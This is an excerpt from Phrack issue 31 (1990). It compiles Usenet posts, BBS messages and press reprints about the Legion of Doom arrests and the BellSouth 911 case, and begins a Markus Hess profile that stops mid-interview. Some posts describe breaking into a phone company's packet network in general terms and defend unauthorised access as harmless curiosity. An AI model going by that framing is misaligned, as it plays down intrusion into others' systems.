==Phrack Inc.==
Volume Three, Issue Thirty-one, Phile #1 of 9
Issue XXXI Index

P H R A C K 3 1
05/28\90

Welcome to a new begining of Phrack Inc. Yes, Phrack is not dead. On the contrary, Phrack will and can't ever die. Phrack is more than just a technical newsletter that comes out every now and then, it's a symbol of our hacking history. Whether, it's called Phrack or some other name, it will always be published for the same reasons:

1. Inform it's readers of current events and other related items of hacker interest.
2. Educate it's readers on all topics of shared common interests that may benefit the hacker at his hobby.
3. Remain an authority in the hacking world and an observer in the ever growing technical community.
4. Be open to anyone who wishes to submit an article for publication that will further the hacker's education.

Many things have happened since the last publication of Phrack. We at Phrack inc. will try to "shed some light" on the matters that have occured. And as for all these ridiculous rumors that have been spreading, let us speak the truth and be heard.

Hah. No my friends, Phrack is not dead..

--DH (Editor)

Note: If you wish to contact Phrack inc. to submit a file, ask around for a Phrack inc. distribution site -- Then Email "Phrack inc." and be very very patient.

Note: Special thanks to T C, Phz, and others for wide area distribution.

Phrack XXXI Table of Contents
==========

==Phrack Inc.==
Volume Three, Issue Thirty-one, Phile #10 of 10
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
PWN Phrack World News PWN
PWN Issue XXXI, Part Three PWN
PWN Compiled by Phreak_Accident PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Comp.dcom.telecom

The following is excerpts from comp.dcom.telecom regard the now "Infamous" Legion Of Doom busts. I know most of you have seen some of these somewhere-sometime, but I thought I would try to get these out for those unfortunate souls that don't have Usenet access.

I know there have been many controversies over the following material and the busts as a whole -- Henceforth, Phrack Inc. will not comment on any of such busts. Mainly because we don't want to jeopardize any current investigations concerning LOD and others. Leave it alone. It's old news. Let this sum it up for you guys and then forget about it.

- -

Newsgroups: comp.dcom.telecom
Subject: CBS News Special Report - "The Busting of The Mentor"
Message-ID: <4747@accuvax.nwu.edu>
Date: 5 Mar 90 06:11:49 GMT
Sender: news@accuvax.nwu.edu
Organization: Capital Area Central Texas Unix Society, Austin, TX
Lines: 37
Approved: Telecom@eecs.nwu.edu
X-Submissions-To: telecom@eecs.nwu.edu
X-Administrivia-To: telecom-request@eecs.nwu.edu
X-Telecom-Digest: Volume 10, Issue 145, Message 6 of 6

...I've just gotten a new update on the Mentor's recent apprehension by the Feds. Thought you might like to hear something as close to as direct from the Mentor as possible under the circumstances.

From: Daneel Olivaw #96 @5283
Date: Sun Mar 04 19:55:28 1990

I'll have to play the Mentor for now (with permission granted).
If you haven't heard the rumors, here is the truth.
The Mentor was awakened at 6:30am on Thursday (3/1/90) with the gun of a Secret Service agent pointed at his head. The SS proceeded to search and seize for the next 4 1/2 hours. Things taken include an AT with 80mb HD, HP LaserJet II, various documents, and other thing. They then proceeded to raid his office at work, and sieze the computer and laser printer there. Lost in the shuffle was a complete novel (being written and due in 2 weeks), and various other things.
Across town: Those of you who know Erik Bloodaxe, he was also awakened, and his house searched.
Neither have been charged with anything, but they expect to at least be called as witnesses at the case of the Phrack Boys (Knight Lightning and Tarren King) in Chicago April 15.
Apparently, they did a shoddy job, as they tagged a book that Mentor had borrowed from me (Quarterman's "The Matrix"), and then forgot to take it, oh well....
It ain't lookin so lovely. Also the UT computer systes are under *VERY* close watch, as they were/are being hacked on by hackers around the world, including some in Australia, and England.

OM

From: cosell@bbn.com (Bernie Cosell)
Newsgroups: comp.dcom.telecom
Subject: Keeping Copies of Illegal Things (was Re: Jolnet, Again)
Message-ID: <4725@accuvax.nwu.edu>
Date: 4 Mar 90 04:36:50 GMT
Sender: news@accuvax.nwu.edu
Organization: TELECOM Digest
Lines: 52
Approved: Telecom@eecs.nwu.edu
X-Submissions-To: telecom@eecs.nwu.edu
X-Administrivia-To: telecom-request@eecs.nwu.edu
X-Telecom-Digest: Volume 10, Issue 143, Message 3 of 8

}TELECOM Digest Sat, 3 Mar 90 20:45:00 CST Special: Jolnet, Again
This isn't misc.legal, and this isn't the time to be excessively picky and critical, but:
}Here is how he told the tale of the '911 software':
}The software showed up on his system one day, almost two years ago. It
}came to him from netsys, where Len Rose was the sysadmin. According to
}Andrews, when he saw this file, and realized what it was, he knew the
}thing to do was to 'get it to the proper authorities as soon as
}possible',...
}ME> "After you passed it along to Boykin, did you then destroy the
}file and get it off your site?"
}RA> "Well, no... I kept a copy also."
It strikes me that this is a KEY faux pas, regardless of good intentions or not.
}But then, said Andrews, a funny thing happened several months later.
}The folks at AT&T, instead of being grateful for the return of their
}software came back to Andrews to (in his words) 'ask for it again.'
}Somehow, they either never got it the first time; got it but suspected
}there were still copies of it out; or were just plain confused.
Just so, and if RA *supplied* another copy, I suspect they'd interpret that as pretty convincing evidence that it WAS further distributed, and with RA's knowledge. I know that they didn't actually contact him and ask/tell him to expunge all copies of the stuff, but his actions clearly demonstrated his knowledge of just what it was he was messing with, and I think they could easily show that he incurred an obligation to act prudently with it, or else [just guessing now] he could be liable to being an accessory after the fact.
}So he was contacted by the feds about a year ago, and it was at that
}point he decided it was in his best interest to cooperate with any
}investigation going on.
Perhaps his sudden cooperation was less out of pangs of conscience that it might have appeared... [not to besmirch his motives here, only to point out that a call from the FBI pointing out that while you may not have really DONE anything, your actions _could_ end up landing you in court with some serious potential badness going down (and none of this untested cheesiness about the the technicalities of bbs's and such... nice mainstream legal liability), could be pretty persuasive at converting a concerned, but out-of-the-loop, citizen into an active helper].
/Bernie\
From: dattier@chinet.chi.il.us (David Tamkin)
Newsgroups: comp.dcom.telecom
Subject: Seizures Spreading
Message-ID: <4724@accuvax.nwu.edu>
Date: 4 Mar 90 05:55:20 GMT
Sender: news@accuvax.nwu.edu
Organization: TELECOM Digest
Lines: 15
Approved: Telecom@eecs.nwu.edu
X-Submissions-To: telecom@eecs.nwu.edu
X-Administrivia-To: telecom-request@eecs.nwu.edu
X-Telecom-Digest: Volume 10, Issue 143, Message 2 of 8
News is that Illuminati BBS, a system run by a company named Steve Jackson Games somewhere in Texas, was also shut down and its equipment seized by the federal government because two suspected Legion of Doom members were among its users.
[Moderator's Note: And I suspect the raids will continue during the next week or two. I wonder which sites will be next? Each place they raid, the local crackers point their fingers at each other like naughty children, and to make themselves seem like the good guys they say, "Have you talked to so-and-so yet?". Let's see now: netsys, jolnet, attctc, illuminati, (your name here?)... Apparently even getting rid of incriminating evidence won't work any longer, if someone upstream of you tattled. PT]
From: mosley@peyote.cactus.org (Bob Mosley III)
Newsgroups: comp.dcom.telecom
Subject: Austin, TX BBS Shut Down From Joinet Bust Fallout
Message-ID: <4723@accuvax.nwu.edu>
Date: 4 Mar 90 17:22:26 GMT
Sender: news@accuvax.nwu.edu

Organization: Capital Area Central Texas Unix Society, Austin, TX
Lines: 28
Approved: Telecom@eecs.nwu.edu
X-Submissions-To: telecom@eecs.nwu.edu
X-Administrivia-To: telecom-request@eecs.nwu.edu
X-Telecom-Digest: Volume 10, Issue 143, Message 1 of 8
This hit most BBS's in the Austin area on Thursday. It's believed
the bust came down Wednesday morning. In a nutshell, here's what
happened:
Wednesday morning, Feb. 28, the offices of Steve Jackson Games, inc.,
were raided by FBI and Secret Service officials. The establishment was
shit down, and all computer systems, including the Illuminati BBS,
were confiscated.
At that time, a 'retired' member of the LoD, who was identified as
'The Mentor' was arrested. The charges reportedly are related to the
recent 911 bust that has shut down joinet and attatc (or whatever
Killerused to be called). His home system was confiscated, complete
with an entire collection of "Phrack" issues and related paraphanalia.
As of this writing, the Mentor is reportedly out on bail, sans system
and network connection. The Illuminati BBS is still down, although SJ
Games is back in operation, and no charges have been filed against any
of the employees other than The Mentor. The systems owned by SJ Games
have not been returned as of this writing.
Finally, rumors were trickling in early this morning (Saturday, 3/4)
that two BBS's in Dallas, three in Houston, and one in San Antonio
were busted by the same authorites in relation to the same case.
[in light of the Mentor's posted defense of the LoD, I kinda thought
you'd like to see this one! - OM]
From: telecom@eecs.nwu.edu (TELECOM Moderator)
Newsgroups: comp.dcom.telecom
Subject: Jolnet, Again
Message-ID: <4701@accuvax.nwu.edu>
Date: 4 Mar 90 02:45:00 GMT
Sender: news@accuvax.nwu.edu
Organization: TELECOM Digest
Lines: 350
Approved: Telecom@eecs.nwu.edu
X-Submissions-To: telecom@eecs.nwu.edu
X-Administrivia-To: telecom-request@eecs.nwu.edu
X-Telecom-Digest: Special: Jolnet, Again
TELECOM Digest Sat, 3 Mar 90 20:45:00 CST Special: Jolnet, Again
Today's Topics: Moderator: Patrick Townson
Re: AT&T Sourcecode: Poison! (Chip Rosenthal)
Jolnet Seizure (Mike Riddle)
Article Regarding JOLNET/e911/LoD/Phrack (Ben Rooney)
A Conversation With Rich Andrews (TELECOM Moderator)
Killer/attctc Permanently Down (Charlie Boykin)

From: Chip Rosenthal <chip@chinacat.lonestar.org>
Subject: Re: AT&T Sourcecode: Poison!
Date: 3 Mar 90 00:00:00 GMT
Organization: Unicom Systems Development, Austin (yay!)
[Moderator's Note: Original date of 2/25 changed to prevent premature
expiration. PT]
You've got a lot of nerve, Patrick.
telecom@eecs.nwu.edu (TELECOM Moderator) writes:
>We're told by a deep-throat type that AT&T is on the war path about
>their software [...] Like jolnet, netsys went down abruptly, with
>*everything* confiscated [...] Now comes news that attcdc [sic], formerly
>known as killer went off line in a hurry.....
Yessir, after all your complaints about that about anonymous Legion of
Doom message, this is a really crummy thing to post. Based upon
unattributed conversations, you imply that Len Rose and Charlie Boykin
were involved in wrongdoing which lead to the shutdown of their
systems.
I don't know Len personally, but have had uucp connections with him in
the past. Charlie, on the other hand, I do know personally. He is
very well regarded in the Dallas/Fort Worth area, and was voted "1989
DFW Administrator of the Year" by the DFW lunch-bunch...errr....DFW
Association of Unix System Administrators.

You have cast some crummy aspersions towards these guys. Since I know them, I will wait for the facts to come in. Others who don't know them could very well jump to conclusions on the basis of this posting. Was this message really called for?

Chip Rosenthal | chip@chinacat.Lonestar.ORG | Unicom Systems Development, 512-482-8260

Yes, you're a happy man and you're a lucky man, but are you a smart man? -David Bromberg

---

Date: Wed, 28 Feb 90 21:38:39 EST
From: Mike Riddle <Mike.Riddle@p6.f666.n5010.z1.fidonet.org>
Subject: Jolnet Seizure
Reply-to: Mike.Riddle@p6.f666.n285.z1.fidonet.org
Organization: DRBBS Technical BBS, Omaha, Ne. 402-896-3537

Has anyone tried a novel legal approach to the case of equipment seizure as "evidence"? As I remember the Electronic Communications Privacy Act, it contains specific procedures for authorities to obtain copies/listings of data on a system (which system may have been used for illegal purposes, but whose operator is not at the moment charged). From this I think a creative attorney could construct an argument that the national policy was not to seize equipment, merely to obtain all the information contained therein. After all, it's the data that caused any harm.

Also, the Federal Rules of Evidence, and most state rules, provide that computer generated copies are "originals" for evidentiary purposes.

I hope that someone close enough to the scene can keep us informed about what is happening on this one.

{standard disclaimer goes here--don't pay any attention to me!}

--- Ybbat (DRBBS) 8.9 v. 3.07 r.1
* Origin: [1:285/666.6@fidonet] The Inns of Court, Papillion, NE (285/666.6)
--- Through FidoNet gateway node 1:16/390
Mike.Riddle@p6.f666.n5010.z1.fidonet.org

From: brooney@sirius.uvic.ca
Date: 3 Mar 90 2:36 -0800
Subject: Article Regarding JOLNET/e911/LoD/Phrack

The following is an article I received five days ago which contains, to my knowledge, information as yet unpublished in comp.dcom.telecom regarding the ongoing JOLNET/e911/LoD discussion. It was printed in a weekly magazine with a publishing date of Feb. 27 but other than that I have no exact idea of when the events mentioned herein took place.

- Ben Rooney

MISSOURI STUDENT PLEADS INNOCENT TO 911 CHARGES

[Knight Lightning], a 19-year-old University of Missouri student, has pleaded not guilty to federal allegations that he invaded the 911 emergency phone network for 9 states.

As reported earlier, he was indicted this month along with [The Prophet], 20, of Decatur, Ga. Both are charged with interstate transportation of stolen property, wire fraud, and violations of the federal Computer Fraud and Abuse Act of 1986.

Prosecutors contend the two used computers to enter the 911 system of Atlanta's Bell South, then copied the program that controls and maintains the system. The stolen material later allegedly was published on a computer bulletin board system operating in the Chicago suburb of Lockport. Authorities contend Neidorf edited the data for an electronic publication known as "Phrack."

According to Associated Press writer Sarah Nordgren, in a recent hearing on the case Assistant U.S. Attorney William Cook was granted a motion to prevent the 911 program from becoming part of the public record during the trial. U.S. District Judge Nicholas Bua set April 16 for a trial.

The 911 system in question controls emergency calls to police, fire, ambulance and emergency services in cities in Alabama, Mississippi, Georgia, Tennessee, Kentucky, Louisiana, North Carolina, South Carolina and Florida.

Article from "A Networker's Journal" by Charles Bowen.
Info-Mat Magazine (Vol. 6, No. 2)

[Moderator's Note: {Info-Mat Magazine}, by the way, is the excellent electronic journal distributed on many BBS machines throughout the

United States who are fortunate enough to be accepted as part of the magazine's distribution network. I personally wish it was distributed on Usenet as well: it is well written and very informative. PT]

Date: Sat, 3 Mar 90 19:34:54 CST
From: TELECOM Moderator <telecom@eecs.nwu.edu>
Subject: A Conversation With Rich Andrews

After the first articles appeared here relating to the seizure of Jolnet, and the indictment of some people for their part in the theft of '911 software', I got various messages from other folks in response. Some were published, while others were just personal correspondence to me. One from Chip Rosenthal was held over, and is included in this special issue today.

One writer, whose comments were attributed to 'Deep Throat' spent some time on two occassions on the phone, in a conference call between himself, David Tamkin and myself.

What was lacking in the several messages which appeared over the past week were comments from Rich Andrews, system administrator of Jolnet. I got one note from someone in Canada who said Andrews wanted to speak with me, and giving a phone number where I could call Andrews at his place of employment.

I put in a call there, with David Tamkin on the other line and had a long discussion with Andrews, who was aware of David being on the line with me. I asked Andrews if he had any sort of net access available to him at all -- even a terminal and modem, plus an account on some site which could forward his mail to telecom. You see, I thought, and still think it is extremely important to include Rich Andrews in any discussion here.

He assured me he did have an account on a Chicago area machine, and that a reply would be forthcoming within hours. I had a second conversation with him the next morning, but without David on the line. He again told me he would have a response to the several articles written in the Digest ready and in the email 'very soon'. This was on Wednesday morning, and we estimated his message would be here sometime later in the day -- certainly by midnight or so, when I am typically working up an issue of the Digest.

Midnight came and went with no message. None showed up Thursday or Friday. I deliberatly withheld saying anything further in the hopes his reply would be here to include at the same time. I guess at this point we have to go on without him.

When David Tamkin and I talked to him the first time, on Tuesday evening this past week, the first thing Andrews said to us, after the usual opening greetings and chitchat was,

"I've been cooperating with them for over a year now. I assume you know that."

We asked him to define 'them'. His response was that 'them' was the United States Secret Service, and the Federal Bureau of Investigation. He said this without us even asking him if he was doing so.

We asked him to tell us about the raid on his home early in February. He said the agents showed up that Saturday afternoon with a warrant, and took everything away as 'evidence' to be used in a criminal prosecution.

ME> "If you have been working and cooperating with them for this long, why did they take your stuff?"

RA> "They wanted to be sure it would be safe, and that nothing would be destroyed."

ME> "But if you wanted to simply keep files safe, you could have taken Jolnet off line for a few weeks/months by unplugging the modems from the phone jacks, no? Then, plugged in a line when you wanted to call or have a trusted person call you."

RA> "They thought it was better to take it all with them. It was mostly for appearance sake. They are not charging me with anything."

ME> "Seems like a funny way to treat a cooperative citizen, at least one who is not in some deep mess himself."

He admitted to us that several crackers had accounts on Jolnet, with his knowledge and consent, and that it was all part of the investigation going on ... the investigation he was cooperating in.

Here is how he told the tale of the '911 software':

The software showed up on his system one day, almost two years ago. It came to him from netsys, where Len Rose was the sysadmin. According to

Andrews, when he saw this file, and realized what it was, he knew the thing to do was to 'get it to the proper authorities as soon as possible', so he chose to do that by transferring it to the machine then known as killer, a/k/a attctc, where Charlie Boykin was the sysadmin.
Andrews said he sent it to Boykin with a request that Boykin pass it along to the proper people at AT&T.
ME> "After you passed it along to Boykin, did you then destroy the file and get it off your site?"
RA> "Well, no... I kept a copy also."
ME> "Did Charlie Boykin pass it along to AT&T as you had requested?"
RA> "I assume he did."
But then, said Andrews, a funny thing happened several months later. The folks at AT&T, instead of being grateful for the return of their software came back to Andrews to (in his words) 'ask for it again.' Somehow, they either never got it the first time; got it but suspected there were still copies of it out; or were just plain confused.
So he was contacted by the feds about a year ago, and it was at that point he decided it was in his best interest to cooperate with any investigation going on.
Andrews pointed out that the '911 software' was really just ".... a small part of what this is all about..." He said there was other proprietary information going around that should not be circulating.
He said also the feds were particularly concerned by the large number of break-ins on computers which had occurred in the past year or so. He said there have been literally "....thousands of attempts to break into sites in the past year....", and part of his cooperation with the authorities at this time dealt with information on that part of it.
We asked him about killer/attctc:
ME> "You knew of course that killer went off line very abruptly about a week ago. What caused that? It happened a week or so after the feds raided you that Saturday."
RA> "Well the official reason given by AT&T was lack of funds, but you know how that goes...."
Now you'd think, wouldn't you, that if it was a funding problem -- if you can imagine AT&T not having the loose change in its corporate pocket it took to provide electrical power and phone lines to attctc (Charlie got no salary for running it) -- that at least an orderly transition would have taken place; i.e. an announcement to the net; an opportunity to distribute new maps for mail and news distribution, etc; and some forthcoming shut down date -- let's say March 1, or April 1, or the end of the fiscal year, or something....
But oh, no... crash boom, one day it is up, the next day it is gone.
ME> "What do you know about the temporary suspension of killer some time ago? What was that all about?"
RA> "It was a security thing. AT&T Security was investigating Charlie and some of the users then."
Andrews referred to the previous shutdown of killer as 'a real blunder by AT&T', but it is unclear to me why he feels that way.
We concluded our conversation by Andrews noting that "there is a lot happening out there right now."
He said the [Phrack] magazine distribution, via netsys, attctc and jolnet was under close review. "One way to get them (crackers) is by shutting down the sites they use to distribute stuff..."
And now, dear reader, you know everything I know on the subject. Well, almost everything, anyway....
From other sources we know that Len Rose of netsys was in deep trouble with the law *before* this latest scandal. How deep? Like he was ready to leave the country and go to the other side of the world maybe? Like he was in his car driving on the expressway when they pulled him over, stopped the car and placed him under arrest? Deep enough? This latest thing simply compounded his legal problems.
Patrick Townson

Date: Fri Mar 2 06:59:23 1990
From: Charlie Boykin <cfb@sulaco.sigma.com>
Subject: Killer/attctc Is Permanently Down
Hello,
Regarding a couple of things as well as a message from Bill Huttig.
The system WAS shut down a couple of years ago - for three weeks -

as part of a security inquiry. It has been in continous operation since. On July 4, 1989, it was moved to a Customer Demonstration location at the Dallas Infomart and the node name changed to attctc (for AT&T Customer Technology Center). The system was closed down on February 20, 1990 after 5 years of operation. There are no charges pending and the "management" of the system have been ostensibly cleared of any illegal activities.

As of now, there are no intentions of returning the system to service. There are hopeful plans and proposals that could conceivably result in the system being placed back in service in a different environment and under different management.

Respectfully,
Charles F. Boykin
Formerly sysop\@attctc (killer)

End of TELECOM Digest Special: Jolnet, Again
****

[reprinted without permission from the Feb. 12th, 1990 issue of Telephony]

ALLEGED HACKERS CHARGED WITH THEFT OF 911 DATA

Dawn Bushaus, Assistant Editor

Four alleged computer hackers were indicted last week on charges that they schemed to steal and publish proprietary BellSouth Corp. emergency data. The alleged activity could have produced disruptions in 911 networks nationwide, according to federal officials.

The case could raise new concerns about the security of local exchange carriers' internal computer networks, which house data records on customers, equipment and operations.

"Security has always been a concern for the telephone companies," said Peter Bernstein, an analyst with Probe Research. "If you can crack the 911 system, what does that say about the operational support system or the billing system?"

A federal grand jury in Chicago handed down two indictments charging [The Prophet], 20, of Decatur, Ga., and [Knight Lightning], 19, of Chesterfield, Mo., with wire fraud, violations of the 1986 Computer Fraud Act and interstate transportation of stolen property.

Facing similar criminal charges in Atlanta are [The Urvile], 22, and [The Leftist], 23.

The four, alleged to be part of a closely knit group of hackers calling themselves the Legion of Doom, reportedly participated in a scheme to steal the BellSouth 911 data, valued at $80,000, and publish it in a hacker magazine known as "Phrack."

The Legion of Doom reportedly is known for entering telephone companies' central office switches to reroute calls, stealing computer data and giving information about accessing computers to fellow hackers.

According to the Chicago indictment, XXXXX, also known as "The Prophet," stole a copy of the BellSouth 911 program by using a computer outside the company to tap into the BellSouth computer. Riggs then allegedly transferred the data to a computer bulletin board in Lockport, Ill.

XXXXXXX, also known as "Knight Lightning," reportedly downloaded the information into his computer at the University of Missouri, Columbia, where he edited it for publication in the hacker magazine, the indictment said.

The indictment also charges that the hackers disclosed the stolen information about the operation of the enhanced 911 system to other hackers so that they could illegally access the system and potentially disrupt or halt other systems across the country.

The indictments followed a year-long investigation, according to U.S. Attorney Ira Raphaelson. If convicted, the alleged hackers face 31 to 32 years in prison and $122,000 in fines.

A BellSouth spokesman said the company's security system discovered the intrusion, which occurred about a year ago, and the company then notified federal authorities.

Hacker invasion in the BellSouth network is very rare, the spokesman said, adding that the company favors "stringent laws on the matter."

The indictment solicited concern about the vulnerability of the public network to computer hacking.

From: MM02885@swtexas.bitnet
Newsgroups: comp.dcom.telecom
Subject: Re: Hacker Group Accused of Scheme Against BellSouth

Message-ID: <4153@accuvax.nwu.edu>
Date: 20 Feb 90 11:16:00 GMT
Sender: news@accuvax.nwu.edu
Organization: TELECOM Digest
Lines: 95
Approved: Telecom@eecs.nwu.edu
X-Submissions-To: telecom@eecs.nwu.edu
X-Administrivia-To: telecom-request@eecs.nwu.edu
X-Telecom-Digest: Volume 10, Issue 118, message 3 of 6

<<< SYS$ANCILLARY:[NOTES$LIBRARY]GENERAL.NOTE;1 >>>
-< General Discussion >-

Note 155.6 the MENTOR of the tree tops 6 of 6
SWT::RR02026 "Ray Renteria [F L A T L I N E] " 89 lines 20-FEB-1990 00:18
-< Life, The Universe, & LOD >-

To set the record straight, a member of LOD who is a student in Austin and who has had his computer account at UT subpoenaed by the DA out of Chicago because of dealings with the above happenings:

My name is Chris, but to the computer world, I am Erik Bloodaxe. I have been a member of the group known as Legion of Doom since its creation, and admittedly I have not been the most legitimate computer user around, but when people start hinting at my supposed Communist-backed actions, and say that I am involved in a world-wide consipracy to destroy the nations computer and/or 911 network, I have to speak up and hope that people will take what I have to say seriously.

Frank, Rob and Adam were all definately into really hairy systems. They had basically total control of a packet-switched network owned by Southern Bell (SBDN)...through this network they had access to every computer Southern Bell owned...this ranging from COSMOS terminals up to LMOS front ends. Southern Bell had not been smart enough to disallow connections from one public pad to another, thus allowing anyone who desired to do so, the ability to connect to, and seize information from anyone else who was using the network...thus they ended up with accounts and passwords to a great deal of systems.

This was where the 911 system came into play. I don't know if this system actually controlled the whole Southern Bell 911 network, or if it was just a site where the software was being developed, as I was never on it. In any case, one of the trio ended up pulling files off of it for them to look at. This is usually standard proceedure: you get on a system, look around for interesting text, buffer it, and maybe print it out for posterity. No member of LOD has ever (to my knowledge) broken into another system and used any information gained from it for personal gain of any kind...with the exception of maybe a big boost in his reputation around the underground. Rob took the documentation to the system and wrote a file about it. There are actually two files, one is an overview, the other is a glossary. (Ray has the issue of PHRACK that has the files) The information is hardly something anyone could possibly gain anything from except knowledge about how a certain aspect of the telephone company works.

The Legion of Doom used to publish an electronic magazine called the LOD Technical Journal. This publication was kind of abandoned due to laziness on our part. PHRACK was another publication of this sort, sent to several hundred people over the Internet, and distributed widely on bulletin boards around the US. Rob sent the files to PHRACK for the information to be read. One of PHRACK's editors, Craig, happened to be the one who received the files. If Rob had sent the files to one address higher, Randy would have been the one who would probably be in trouble. In anycase, Craig, although he may have suspected, really had no way to know that the files were propriatary information and were stolen from a Southern Bell computer.

The three Atlanta people were busted after having voice and data taps on their lines for 6 months. The Phrack people were not busted, only questioned, and Craig was indicted later.

What I don't understand is why Rob and Craig are singled out more often than any other people. Both of them were on probation for other incidents and will probably end up in jail due to probation violations now. Frank and Adam still don't know what is going on with their cases, as of the last time I spoke with them.

The whole bust stemmed from another person being raided and rolling

over on the biggest names he could think of to lighten his burden. Since that time, Mr. William Cook, the DA in Chicago, has made it his life's goal to rid the world of the scourge of LOD. The three Atlanta busts, two more LOD busts in New York, and now, my Subpoena.
People just can't seem to grasp the fact that a group of 20 year old kids just might know a little more than they do, and rather than make good use of us, they would rather just lock us away and keep on letting things pass by them. I've said this before, you cant stop burglars from robbing you when you leave the doors unlocked and merely bash them in the head with baseball bats when they walk in. You need to lock the door. But when you leave the doors open, but lock up the people who can close them for you another burglar will just walk right in.
If anyone really wants to know anything about what is going on or just wants to offer any opinions about all this directly to me, I'm
erikb@walt.cc.utexas.edu
but my account is being monitored so don't ask anything too explicit.
->ME

Well, as some of you may already know, the people that put out Phrack were busted recently. Up until now, details were scarce, but things are starting to appear in the news.
[reprinted without permission from the Milwaukee Journal Wed. Feb. 7th]

Chicago, Ill. - AP - A computer hacker broke into the 911 emergency telephone network covering nine states in the South and another intruder passed on the access data to other hackers, authorities said.

[The Prophet], 20, of Decatur, GA., and [Knight Lightning], 19, of Chesterfield, MO., were indicted Tuesday by a federal grand jury and accused of computer crimes, said acting US Atty. Ira H. Raphaelson.

He said Riggs was a member of the so-called Legion of Doom hackers group, whose members are involved in numerous illegal activities.

Riggs and two other alleged members also were indicted in Atlanta and charged in other computer break-ins.

The government would not say if any emergency calls were disrupted or whether other damage was done during the tampering.

Name: The Prophet #104
Date: Tue Feb 06 23:55:15 1990
Imagine that you're deaf, dumb, blind, and paralyzed from the neck down and totally unable to experience or communicate with the outside world. How long could you retain your sanity? How many of you would choose to die instead? How many of you think you could muster the willpower to create your own little mental world to live in for the rest of your life, and how long do you think the hospital would wait before putting you out of your misery?
-The Prophet

Name: The Mentor #1
Date: Sat Jan 20 02:58:54 1990
Welp, Phrack magazine is dead. Those of you who pay attention to BITNET know that the phrack accounts at U of M have been shut down. The story is as follows...
Government agents (not sure of the dept., probably SS) have apparently been monitoring the e-mail of the Phrack kids (Knight Lightning & Taran King) for some time now. Apparently, a portion of a file sent to them (and subsequently published) contained copyrighted information. This is all they needed. They have now seized the entire Phrack net mailing list (over 500 accounts), plust every piece of information that Randy & Craig have (and they have a *LOT*) on real names, addresses and phone numbers.
This is evolving directly out of the busts of three LOD members (Urvile, Leftist & Prophet). The Prophet (who is on probation) is apparently being threatened with a prison term if he doesn't cooperate. We don't know for sure if he cooperated or not, but what would you do in the same position?
The same officials are apparently *VERY* interested in our co-sys, Mr. Bloodaxe. His net account is being watched, etc. I'll let him tell the story.
board only. I will be adding a secure (and I mean fucking secure) encryption routine into the e-mail in the next 2 weeks - I haven't decided exactly how to implement it, but it'll let two people exchange mail encrypted by a password only know to the two of them. Hmmmm... carry this conversation to the programming board.

Anyway, I do not think I am due to be busted, but then again, I don't do anything but run a board. Still, there is that possibility. I assume that my lines are all tapped until proven otherwise.

There is some question to the wisdom of leaving the board up at all, but I hae (have) personally phoned several government investigators and invited them to join us here on the board. If I begin to feel that the board is putting me in any kind of danger, I'll pull it down with no notice - I hope everyone understands.

It looks like it's sweeps-time again for the feds. Let's hope all of us are still around in 6 months to talk about it.

The Mentor
Legion of Doom!
[Phoenix Project has been down for some time now.]

Newsgroups: comp.dcom.telecom
Subject: The Purpose and Intent of the Legion of Doom
Message-ID: <4248@accuvax.nwu.edu>
From: anytown!legion@cs.utexas.edu (Legion of Doom)
Date: 22 Feb 90 04:42:04 GMT
Sender: news@accuvax.nwu.edu
Organization: Anytown USA
Approved: Telecom@eecs.nwu.edu
X-Submissions-To: telecom@eecs.nwu.edu
X-Administrivia-To: telecom-request@eecs.nwu.edu
X-Telecom-Digest: Volume 10, Issue 121, message 4 of 5
Lines: 51

[Moderator's Note: This anonymous message came in the mail today. PT]

Well, I had to speak up. There has been a lot of frothing (mostly by people who believe everything that they read in the paper) about Legion of Doom. I have been involved in the group since 1987, and dislike seeing irresponsible press concerning our "plot to crash 911" or our "links to organized crime."

LOD was formed to bring together the best minds from the computer underground - not to do any damage or for personal profit, but to share experiences and discuss computing. The group has *always* maintained the highest ethical standards of hacker (or "cracker," as you prefer) ethics. On many occasions, we have acted to prevent abuse of systems that were *dangerous* to be out - from government systems to Easter Seals systems. I have known the people involved in this 911 case for many years, and there was *absolutely* no intent to interfere with or molest the 911 system in any manner. While we have occasionally entered a computer that we weren't supposed to be in, it is grounds for expulsion from the group and social ostracism to do any damage to a system or to attempt to commit fraud for personal profit. The biggest crime that has been committed is that of curiosity. Kim, your 911 system is safe (from us, at least). We have been instrumental in closing many security holes in the past, and had hoped to continue to do so in the future. The list of computer security people who count us as allies is long, but must remain anonymous. If any of them choose to identify themselves, we would appreciate the support.

I am among the people who no longer count themselves as "active" members of the group. I have been "retired" for well over a year. But I continue to talk to active members daily, and support the group through this network feed, which is mail-routed to other LODers, both active and accessible.

Anyone who has any questions is welcome to mail us - you'll find us friendly, although a bit wary. We will also be glad to talk voice with anyone if they wish to arrange a time to call. In spite of all the media garbage, we consider ourselves an ethical, positive force in computing and computer security. We hope others will as well.

The Mentor/Legion of Doom
legion%anytown.uucp@cs.utexas.edu

[Moderator's Note: As an 'ethical, positive force in computing', why can't you sign your name to messages such as the above? Usually I don't even consider anonymous messages for publication in the Digest; but your organization has a perfect right to tell your side of the story, and I am derelict if I don't print it. Real names and addresses go a long way toward closing credibility gaps here. PT]

- -

There you go. It's over now, forget it and move on. Nothing more to

report on the subject that hasn’t been printed, typed, spoken, or heard in the last couple of months.

==Phrack Inc.==
Volume Three, Issue Thirty-one, Phile #2 of 10

-*[P H R A C K # 3 1 P R O P H I L E]*-

-*[June 1, 1990]*-

-*[Phz]*-

---[Markus Hess]---

Recently the Phrack editors had the opportunity to talk to Markus Hess in his tiny Hannover flat. This special edition of the Phrack Prophile details our conversation, as well as general background information about the German Hacker.

This Phrack Prophile is not in the same format as previous ones because of the nature of the profile. In the next issue, we will reform back to the orginal creator's format.

```
           AGE: 26
        HEIGHT: 5' 10"
    HAIR COLOR: BROWN
          EYES: BROWN
          FROM: Hannover, West Germany
PAST EMPLOYMENT: Software developer in Hannover.
        PEOPLE: Stephen Winero, Walu Holland (Other CCC members)
     STRENGTHS: AT&T Unix, VAX, SunOs and BSD os's
```

Hess, most well known as the hacker who's exploits are detailed in Clifford Stoll's _The_Cuckoo's_Egg_, "is as paranoid on the telephone as he is on the computer." Although he was very reluctant to talk to us, we did manage to talk to him about hacking and _The_Cuckoo's_Egg_.

Ringing Hanover..
RING
RING
RING
ANSWERED
HESS: Hallo?
PHRACK: Is this Markus Hess?
HESS: Yes.
PHRACK: Do you smoke Benson & Hedges?
(At this point we weren't sure it was actually him)
HESS: Yes, who is this?
PHRACK: We are calling from the USA, we want to ask you some questions. We talk to hackers in the USA.
